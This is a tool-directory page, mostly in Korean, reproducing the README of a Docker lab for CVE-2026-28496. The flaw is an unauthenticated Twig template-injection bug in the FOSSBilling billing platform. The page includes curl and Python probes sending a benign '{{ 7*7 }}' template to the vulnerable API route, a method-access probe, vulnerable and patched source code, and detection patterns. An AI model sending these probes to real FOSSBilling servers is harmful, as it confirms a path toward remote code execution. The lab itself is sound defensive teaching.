Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-28496-Lab — CVE-2026-28496을 재현하고 검증하기 위한 Docker 기반 실습 환경입니다. FOSSBilling의 Twig 렌더링에서 발생하는 서버 측 템플릿 주입(Server-Side Template Injection) 취약점을 다루며, 취약한 버전과 패치된 버전을 비교할 수 있습니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-28496-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-28496-lab

CVE-2026-28496-Lab

CVE-2026-28496을 재현하고 검증하기 위한 Docker 기반 실습 환경입니다. FOSSBilling의 Twig 렌더링에서 발생하는 서버 측 템플릿 주입(Server-Side Template Injection) 취약점을 다루며, 취약한 버전과 패치된 버전을 비교할 수 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

CVE-2026-28496 - FOSSBilling 서버사이드 템플릿 인젝션 - Twig 렌더링

요약

이 저장소에는 CVE-2026-28496을 재현 및 검증하기 위한 로컬 Docker 랩이 포함되어 있습니다. CVE-2026-28496은 FOSSBilling의 Twig 템플릿 렌더링 동작에 영향을 미치는 서버사이드 템플릿 인젝션 취약점입니다.

FOSSBilling은 무료 오픈소스 결제 및 고객 관리 플랫폼입니다. 0.8.0 이전 버전은 안전하지 않은 Twig 템플릿 렌더링 동작으로 인해 제공된 템플릿 표현식을 평가할 수 있습니다. 이 랩에서는 패치된 비교 대상으로 FOSSBilling 0.8.0을 사용합니다.

이 랩에서는 두 FOSSBilling 버전을 비교합니다.

서비스FOSSBilling 버전목적URL
vuln0.7.2취약한 비교 대상http://localhost:8081
patched0.8.0패치된 비교 대상http://localhost:8082

이 로컬 랩에서 시연되는 HTTP 검증 경로는 다음과 같습니다.```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior

root@kitploit:~
취약한 대상에서 API 호출은 반환합니다:```json
{"result":"49","error":null}

패치된 대상에서 동일한 요청이 반환됩니다:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
이 실험실은 FOSSBilling 0.7.2 및 FOSSBilling 0.8.0을 사용하여 취약한 HTTP 동작과 패치된 HTTP 동작을 검증합니다.

이 실험실은 의도적으로 로컬 Docker 서비스로 범위가 제한됩니다. 외부 시스템을 대상으로 하지 않으며, 웹 셸, 악성 코드, 지속성, 외부 콜백, 데이터베이스 덤프 또는 파괴적 페이로드를 포함하지 않습니다.

## Verified Facts

| 주장                                                                               | 증거                                                                                                           | 이 실험실에서 확인하는 방법                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496은 FOSSBilling 0.8.0 이전 버전에 영향을 미칩니다.                         | 공개 CVE 및 권고 메타데이터는 FOSSBilling 0.8.0 이전 버전이 Twig SSTI의 영향을 받는 것으로 식별합니다.                     | 참조 섹션을 검토하고 취약한 대상 버전과 패치된 대상 버전을 비교하십시오.  |
| FOSSBilling 0.7.2가 취약한 비교 대상으로 사용됩니다.                      | 취약한 서비스는 공식 `fossbilling/fossbilling:0.7.2` Docker 이미지에서 빌드됩니다.                    | `vuln/Dockerfile`을 검사하고 `docker compose ps -a`를 실행하십시오.                              |
| FOSSBilling 0.8.0이 패치된 비교 대상으로 사용됩니다.                         | 패치된 서비스는 공식 `fossbilling/fossbilling:0.8.0` Docker 이미지에서 빌드됩니다.                       | `patched/Dockerfile`을 검사하고 `docker compose ps -a`를 실행하십시오.                           |
| 취약한 HTTP 경로는 `/api/system/system/string_render`입니다.                     | 취약한 대상은 `_tpl={{ 7*7 }}`에 대해 `result: \"49\"`가 포함된 JSON을 반환합니다.                                       | `python3 poc/poc.py --url http://localhost:8081`을 실행하십시오.                                  |
| 패치된 대상은 동일한 HTTP 동작을 노출하지 않습니다.                          | 패치된 대상은 `Unknown API call system/system/string_render`를 반환합니다.                                         | `python3 poc/poc.py --url http://localhost:8082`를 실행하십시오.                                  |
| PoC는 HTTP 전용입니다.                                                               | `poc/poc.py`는 HTTP POST 요청을 보내며 Docker, Docker Compose, 셸 명령 또는 컨테이너 API를 호출하지 않습니다. | `poc/poc.py`를 검사하십시오.                                                                  |
| 실험실은 Docker Compose 시작 중에 두 FOSSBilling 대상을 자동 설치합니다.       | 일회성 설치 관리자 사이드카 컨테이너가 설정을 완료하고 상태 0으로 종료합니다.                                   | `docker compose ps -a` 및 `docker compose logs installer-vuln installer-patched`를 실행하십시오. |
| 취약한 대상은 무해한 Twig 표현식을 렌더링합니다.                         | 포트 8081의 HTTP 응답은 `{\"result\":\"49\",\"error\":null}`입니다.                                                | 취약한 PoC 명령을 실행하십시오.                                                        |
| 패치된 대상은 테스트된 API 경로를 통해 동일한 표현식을 렌더링하지 않습니다. | 포트 8082의 HTTP 응답은 코드 `879`가 포함된 JSON API 오류입니다.                                              | 패치된 PoC 명령을 실행하십시오.                                                           |

## Assumptions and Unknowns

이 실험실은 공개 취약점 연구에서 FOSSBilling 0.8.0 이전 버전이 영향을 받는 것으로 식별하고, 0.7.2가 테스트된 체인에서 사용된 최신 취약한 릴리스이므로 취약한 비교 대상으로 FOSSBilling 0.7.2를 사용합니다.

이 실험실은 공개 권고 메타데이터가 0.8.0을 패치된 버전으로 식별하므로 패치된 비교 대상으로 FOSSBilling 0.8.0을 사용합니다.

이 실험실은 관찰 가능한 HTTP 동작에 초점을 맞춥니다:```text
POST /api/system/system/string_render

이 JSON 본문과 함께:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
이 실습은 FOSSBilling 0.7.2가 HTTP API 경로를 통해 제공된 Twig 표현식을 렌더링하는 반면, FOSSBilling 0.8.0은 동일한 API 호출을 노출하지 않음을 보여줍니다.

이 실습은 모든 FOSSBilling 템플릿 렌더링 기능을 테스트한다고 주장하지 않습니다. CVE-2026-28496은 또한 애플리케이션 내부에서 사용 가능한 템플릿 렌더링 기능과 같은 다른 Twig 렌더링 컨텍스트와 관련이 있습니다.

이 실습은 완전한 인증되지 않은 원격 코드 실행 체인을 시연하지 않습니다. 이는 로컬 FOSSBilling 0.7.2 타겟에서 관찰된 인증되지 않은 HTTP 동작을 검증하고 FOSSBilling 0.8.0과 비교합니다. 전체 공개 체인은 여기에 표시된 안전한 Twig 표현식 검증을 넘어 추가적인 API 권한 부여 동작을 포함합니다.

이 실습은 다음을 시연하지 않습니다:

* 원격 명령 실행,
* 자격 증명 추출,
* 데이터베이스 덤프,
* 확장 프로그램 설치,
* 임의 파일 쓰기,
* 지속성,
* 웹 셸 업로드,
* 외부 콜백,
* 비실습 시스템에 대한 공격,
* 또는 사후 침해 활동.

## 근본 원인 요약

CVE-2026-28496의 근본 원인은 안전하지 않은 Twig 템플릿 렌더링입니다.

FOSSBilling은 동적 템플릿을 렌더링하기 위해 Twig를 사용합니다. 취약한 버전에서는 제공된 템플릿 문자열이 충분한 샌드박스 제한 없이 Twig 렌더링 로직에 전달될 수 있습니다.

취약한 동작은 다음과 같이 요약할 수 있습니다:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

이 무해한 템플릿 표현식에 대해:```twig {{ 7*7 }}

root@kitploit:~
취약한 대상이 표현식을 평가하고 반환합니다:```text
49

보안 문제는 산술 평가에만 국한되지 않습니다. 산술 평가는 이 랩에서 사용되는 안전한 가시적 신호일 뿐입니다.

더 보안에 민감한 문제는 샌드박스 처리되지 않은 Twig 템플릿이 템플릿 컨텍스트에 노출된 객체와 메서드에 접근할 수 있다는 점입니다. 공개 연구에서는 적절한 템플릿 컨텍스트 객체가 있을 때 Twig 템플릿 실행이 의존성 주입 컨테이너를 포함한 애플리케이션 내부에 도달할 수 있는 더 높은 영향력을 가진 경로를 설명합니다.

단순화된 취약 모델은 다음과 같습니다:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable

root@kitploit:~
FOSSBilling 0.8.0에서 패치된 설계는 취약한 동작을 강화합니다. 이 실습에서는 패치된 대상이 더 이상 테스트된 API 호출을 노출하지 않습니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

보안 교훈은:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.

root@kitploit:~
## 소스 코드 분석

취약한 HTTP 동작은 FOSSBilling 0.7.2의 소스 코드 경로에 의해 뒷받침됩니다.

API 메서드는 요청 데이터에서 `_tpl`을 받아 시스템 서비스 렌더러로 전달합니다.

관련 취약 진입점:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

중요한 데이터 흐름은 다음과 같습니다:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()

root@kitploit:~
In FOSSBilling 0.7.2, `renderString()` attempts to load the supplied value as a template name. If that fails, it treats the supplied value as a template string and passes it into `createTemplateFromString()`.

Simplified vulnerable flow:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

취약한 싱크는 createTemplateFromString()입니다:```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl;

root@kitploit:~
    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

}

root@kitploit:~
보안 관련 소스 패턴은 다음과 같습니다.```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

이것은 취약한 실험실 결과를 설명합니다:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
취약한 응답:```json
{"result":"49","error":null}

49 값은 제공된 Twig 표현식이 서버 측에서 평가되었음을 증명합니다.

안전한 실험실 페이로드는 산술만 사용합니다:```twig {{ 7*7 }}

root@kitploit:~
그러나 근본 원인은 산술 표현식 평가보다 보안에 더 민감합니다. 취약한 렌더링 컨텍스트에서 Twig 템플릿은 템플릿 환경에 존재하는 애플리케이션 객체와 상호 작용할 수 있습니다. 공개 연구에서는 API 컨텍스트 객체가 의존성 주입 컨테이너와 같은 애플리케이션 내부에 대한 접근을 노출할 수 있는 더 높은 영향을 미치는 체인을 설명합니다. 소스 수준의 회귀 확인은 더 깊은 동작을 확인했습니다:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

이것이 바로 취약점이 단순한 계산기식 표현식 평가 버그가 아니라 안전하지 않은 템플릿 렌더링으로 이해되어야 하는 이유입니다.

소스 패치 요약

FOSSBilling 0.8.0은 문자열 렌더링을 강화하고 테스트된 취약한 HTTP 동작을 제거하여 취약한 동작을 변경합니다.

패치된 버전에서는 문자열 렌더링이 광범위한 Twig 기능으로 임의의 템플릿 문자열을 직접 렌더링하는 대신 샌드박스 인식 렌더링을 통해 라우팅됩니다.

패치된 서비스 코드는 샌드박스 인식 렌더러를 호출합니다:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );

root@kitploit:~
The sandboxed renderer creates and renders a template, but catches Twig sandbox violations and converts them into a controlled application error:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

샌드박스 정책은 기본적으로 메서드와 속성 접근을 차단합니다:```php $methods = []; $properties = [];

root@kitploit:~
보안 관련 변경 사항은 다음과 같습니다:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

이 실험에서 테스트된 공개 HTTP API 경로에 대해, FOSSBilling 0.8.0은 동일한 취약한 API 호출을 노출하지 않습니다:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
이는 두 가지 유용한 검증 계층을 제공합니다:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

랩은 이 두 레이어를 분리하여 유지합니다:```text HTTP PoC result proves the vulnerable endpoint behavior.

Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.

root@kitploit:~
## 랩 아키텍처

이 랩은 Docker Compose를 통해 두 개의 격리된 FOSSBilling 설치를 실행합니다.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

두 개의 FOSSBilling 서비스는 별도의 데이터베이스와 별도의 애플리케이션 버전을 사용합니다:

기본 노출 서비스:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
The lab uses pinned FOSSBilling versions:

| Target                | FOSSBilling version | Expected behavior                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | renders `{{ 7*7 }}` through the vulnerable API path |
| http://localhost:8082 |               0.8.0 | does not expose the same vulnerable API behavior    |

The installer sidecars run automatically during `docker compose up`. They initialize both FOSSBilling targets with local disposable database credentials and then exit.

The lab does not create or modify the vulnerable API route.

The route `/api/system/system/string_render` is provided by the FOSSBilling application in the vulnerable 0.7.2 target after installation. The Docker lab only installs the application through its normal installer flow and then sends an HTTP request to the existing application endpoint.

The patched 0.8.0 target returns `Unknown API call system/system/string_render`, which confirms that the tested route behavior comes from the application version itself rather than from a lab-created route.

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Internet access during first Docker image pull

No Python third-party package is required. The PoC uses Python standard library modules only.

## Quick Start

Start the lab from a clean state:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

서비스 상태 확인:```bash docker compose ps -a

root@kitploit:~
예상 실행 중인 서비스:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

완료 예상 설치 프로그램 서비스:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
설치 프로그램 로그를 확인하세요:```bash
docker compose logs installer-vuln installer-patched

웹 애플리케이션을 확인하세요:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
취약한 대상에 대해 HTTP 유효성 검사를 실행합니다:```bash
python3 poc/poc.py --url http://localhost:8081

패치된 대상에 대해 HTTP 검증을 실행하세요:```bash python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
## PoC 사용법

PoC는 하나의 로컬 FOSSBilling 기본 URL을 허용합니다:```bash
python3 poc/poc.py --url <target_url>

예시:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
PoC는 다음 HTTP 요청을 전송합니다:```text
POST /api/system/system/string_render
Content-Type: application/json

요청 본문:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
PoC는 HTTP 전용입니다. Docker, Docker Compose, 쉘 명령, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.

## Expected Results

### Vulnerable Target

명령:```bash
python3 poc/poc.py --url http://localhost:8081

예상되는 취약한 대상 신호:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}

===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.

root@kitploit:~
### 패치된 대상

명령어:```bash
python3 poc/poc.py --url http://localhost:8082

예상되는 패치된 타겟 신호:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.

root@kitploit:~
중요한 차이점은:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

검증 작동 방식

검증기는 단일 HTTP POST 요청을 FOSSBilling API 엔드포인트로 전송합니다:```text /api/system/system/string_render

root@kitploit:~
요청 본문에 무해한 Twig 표현식이 포함되어 있습니다:```json
{"_tpl":"{{ 7*7 }}"}

예상되는 취약한 동작:```text HTTP 200 OK JSON result is "49"

root@kitploit:~
예상 패치된 동작:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

이는 취약한 대상이 서버 측에서 제공된 템플릿을 평가함을 확인합니다.

PoC는 파괴적인 페이로드 대신 의도적으로 {{ 7*7 }}을 사용합니다. 목표는 기술적 조건을 안전하게 증명하는 것입니다:```text attacker-controlled template input

  • server-side Twig evaluation
  • observable rendered output
root@kitploit:~
더 깊은 소스 수준의 근본 원인 검증을 위해, 메서드 접근은 근본적인 문제의 더 강력한 증거입니다. 그러나 이 저장소의 공개 PoC는 높은 영향을 미치는 체인을 시연하지 않기 위해 더 안전한 산술 표현식을 사용합니다.

## curl을 사용한 수동 HTTP 재현

취약한 프로브:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

예상 결과:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"result":"49","error":null}

root@kitploit:~
패치된 프로브:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

예상 결과:```text HTTP/1.1 400 Bad Request Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## 영향

청구 및 고객 관리 플랫폼에서의 서버 측 템플릿 인젝션(Server-Side Template Injection)은 보안에 민감합니다. 이는 애플리케이션이 고객 기록, 청구 데이터, 서버 자격 증명, 결제 구성, 관리자가 제어하는 자동화 로직을 저장할 수 있기 때문입니다.

제시된 실험실 페이로드는 무해하며, 단지 다음을 평가합니다:```twig
{{ 7*7 }}

그러나 템플릿 실행이 애플리케이션 객체, 메서드 또는 서비스 컨테이너에 접근할 수 있는 경우, 취약점의 기본 클래스는 더 심각해질 수 있습니다.

구성 및 접근 가능한 템플릿 컨텍스트에 따라 실제 영향은 다음과 같을 수 있습니다:

  • 정보 노출,
  • 애플리케이션 내부 접근,
  • 민감한 애플리케이션 서비스 접근,
  • 애플리케이션 상태 수정,
  • 적절한 실행 경로와 연계 시 원격 코드 실행.

이 실습은 안전한 HTTP 검증 신호만 보여줍니다. 자격 증명 접근, 데이터베이스 접근, 확장 기능 설치, 명령 실행 또는 사후 악용을 보여주지 않습니다.

탐지 및 모니터링

잠재적 지표로는 FOSSBilling API 엔드포인트로의 HTTP 요청이 포함됩니다:```text /api/system/system/string_render

root@kitploit:~
의심스러운 요청 패턴:```text
POST /api/system/system/string_render
Content-Type: application/json

의심스러운 요청 본문 지표:```text _tpl {{ }} Twig syntax

root@kitploit:~
액세스 로그 패턴 예시:```text
POST /api/system/system/string_render

예제 JSON 페이로드:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
권장 모니터링 조치:

* 웹 서버 접근 로그에서 `/api/system/system/string_render` 확인
* JSON 요청 본문에서 `_tpl`이 포함된 요청 확인
* `{{` 및 `}}`와 같은 Twig 구문이 포함된 요청 확인
* 렌더링된 템플릿 출력이 포함된 성공적인 API 응답 확인
* 의심스러운 템플릿 렌더링 시도에 대한 실패한 API 응답 확인
* 익스플로잇이 의심되는 경우 관리자 활동 확인
* 템플릿, 이메일, 대량 메일러 및 결제 어댑터 구성 변경 사항 확인
* 템플릿 렌더링 오류 또는 예상치 못한 API 호출에 대한 애플리케이션 로그 확인

고신호 탐지 아이디어:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

또 다른 고신호 로컬 검증 아티팩트:```text Request body: {"_tpl":"{{ 7*7 }}"}

Response body: {"result":"49","error":null}

root@kitploit:~
## 완화 조치 및 패치 노트

FOSSBilling을 버전 0.8.0 이상으로 업그레이드하세요.

프로덕션 환경에서는 실험 비교 버전에 머무르지 말고 최신 릴리스로 업데이트하세요.

권장 완화 단계:

* FOSSBilling을 0.8.0 이상으로 업그레이드하세요.
* 설치된 버전이 영향 범위에 포함되지 않는지 확인하세요.
* 가능한 경우 관리 API 경로에 대한 공개 접근을 제한하세요.
* 웹 접근 로그에서 `/api/system/system/string_render` 요청을 검토하세요.
* 템플릿, 이메일 템플릿, 대량 메일러, 사용자 정의 결제 어댑터에서 의심스러운 Twig 구문을 검토하세요.
* 악용이 의심되면 시크릿(secrets)을 교체하세요.
* 고객, 청구, 결제, 서버 관리 레코드에 대한 무단 접근을 검토하세요.
* WAF 규칙이나 리버스 프록시 차단은 임시 통제 수단으로 취급하고, 업그레이드를 대체하지 않습니다.

보안 엔지니어링 교훈:

* 신뢰할 수 없는 템플릿 문자열을 권한 있는 애플리케이션 컨텍스트에서 렌더링하지 마세요.
* 애플리케이션 서비스 컨테이너를 템플릿 컨텍스트에 노출하지 마세요.
* 사용자 제어 또는 관리자 제어 템플릿 기능에는 샌드박스 처리된 템플릿 렌더링을 사용하세요.
* 명시적으로 필요한 경우가 아니면 메서드 및 속성 접근을 거부하세요.
* API 인증 실패를 명시적으로 처리하고 실패 시 폐쇄(fail closed)하세요.
* 템플릿 렌더링 기능을 코드 실행에 준하는 표면으로 취급하세요.

## 유용한 확인 명령어

컨테이너 상태 확인:```bash
docker compose ps -a

설치 프로그램 로그 확인:```bash docker compose logs installer-vuln installer-patched

root@kitploit:~
웹 서비스 확인:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

취약한 HTTP 검증 실행:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
패치된 HTTP 검증 실행:```bash
python3 poc/poc.py --url http://localhost:8082

수동 취약 요청:```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
수동 패치 요청:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

체크아웃된 소스 트리에서 취약한 소스 흐름을 검사하십시오:```bash git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php

root@kitploit:~
체크아웃된 소스 트리에서 패치된 샌드박스 렌더러를 검사합니다:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

검증 증거 저장:```bash mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt

docker compose ps -a
| tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt

root@kitploit:~
FOSSBilling 응답 헤더를 확인하세요:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

정리

컨테이너와 네트워크를 중지하고 제거합니다:```bash docker compose down --remove-orphans

root@kitploit:~
컨테이너, 네트워크 및 볼륨 제거:```bash
docker compose down -v --remove-orphans

로컬 증거 파일이 생성된 경우 제거하십시오:```bash rm -rf evidence/

root@kitploit:~
## 안전 경계

이 랩은 로컬 보안 연구와 통제된 시연 전용입니다.

소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 PoC나 수동 curl 요청을 실행하지 마십시오.

이 랩에서 실제 프로덕션 자격 증명, 고객 데이터, 결제 데이터, API 키 또는 프로덕션 비밀을 사용하지 마십시오.

의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

PoC는 의도적으로 HTTP 전용이며 로컬 범위로 제한됩니다. Docker, Docker Compose, 셸 명령어, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.

랩에는 다음을 위한 페이로드가 포함되어 있지 않습니다:

  • 웹 셸 업로드,
  • 임의 명령 실행,
  • 지속성,
  • 측면 이동,
  • 자격 증명 도용,
  • 데이터베이스 덤프,
  • 고객 데이터 접근,
  • 결제 자격 증명 접근,
  • 또는 외부 콜백.

목표는 통제된 환경에서 하나의 특정 기술 조건을 시연하는 것입니다:```text HTTP request

  • FOSSBilling string_render API path
  • Twig template expression
  • vulnerable target renders the expression
  • patched target does not render the expression
root@kitploit:~
## 참고 자료

* CVE 기록: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* GitHub 권고: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBilling 인증 우회 및 Twig SSTI를 통한 인증되지 않은 RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* FOSSBilling Docker 문서
  https://docs.fossbilling.org/getting-started/docker/

* FOSSBilling GitHub 저장소
  https://github.com/FOSSBilling/FOSSBilling

* FOSSBilling Docker 이미지
  https://hub.docker.com/r/fossbilling/fossbilling

* Twig 문서: 샌드박스 확장
  https://twig.symfony.com/doc/3.x/sandbox.html
도구 다운로드
서비스구성 요소버전 / 역할
vulnFOSSBilling취약한 대상 애플리케이션
patchedFOSSBilling패치된 대상 애플리케이션
vuln-dbMariaDB취약한 대상의 데이터베이스
patched-dbMariaDB패치된 대상의 데이터베이스
installer-vulncurl sidecar취약한 대상을 자동 설치
installer-patchedcurl sidecar패치된 대상을 자동 설치